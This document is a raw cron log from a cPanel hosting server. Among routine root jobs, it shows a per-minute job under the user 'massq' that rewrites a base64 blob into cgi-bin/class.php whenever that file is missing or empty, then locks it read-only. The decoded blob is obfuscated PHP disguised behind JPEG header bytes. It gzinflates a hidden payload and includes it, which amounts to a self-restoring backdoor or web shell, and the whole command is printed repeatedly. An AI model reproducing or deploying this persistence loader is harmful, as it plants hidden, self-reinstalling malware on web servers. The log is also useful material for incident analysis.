Nov 12 04:30:01 server CROND[29928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:30:01 server CROND[29926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:30:01 server CROND[29930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:30:01 server CROND[29929]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 12 04:31:01 server CROND[30812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:32:01 server CROND[31866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:33:01 server CROND[32692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:34:01 server CROND[1212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:35:01 server CROND[2052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:35:01 server CROND[2053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:35:01 server CROND[2054]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 04:35:01 server CROND[2056]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 04:35:01 server CROND[2055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:36:01 server CROND[2938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:37:01 server CROND[3691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:38:01 server CROND[4523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:39:01 server CROND[5447]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 04:39:01 server CROND[5448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:40:01 server CROND[6276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 04:40:01 server CROND[6277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:40:01 server CROND[6278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:40:01 server CROND[6279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:41:01 server CROND[7155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:42:01 server CROND[8041]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 04:42:01 server CROND[8042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
